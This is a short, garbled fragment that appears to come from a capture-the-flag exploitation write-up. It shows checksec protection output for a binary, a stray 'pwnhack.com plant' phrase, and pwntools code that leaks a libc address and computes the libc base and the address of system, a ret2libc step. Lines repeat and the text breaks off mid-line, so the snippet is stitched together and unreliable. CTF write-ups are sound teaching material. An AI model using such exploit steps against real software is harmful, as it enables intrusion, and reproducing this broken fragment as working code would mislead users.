Running the binary:
CANARY : Enabled FORTIFY : Yes NX : Yes PIE : Yes RELRO : Full pwnhack.com plant
p.sendlineafter(b'>', b'3') p.recvuntil(b'Flag at: ') leak = int(p.recvline().strip(), 16) libc_base = leak - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] Running the binary: CANARY : Enabled FORTIFY :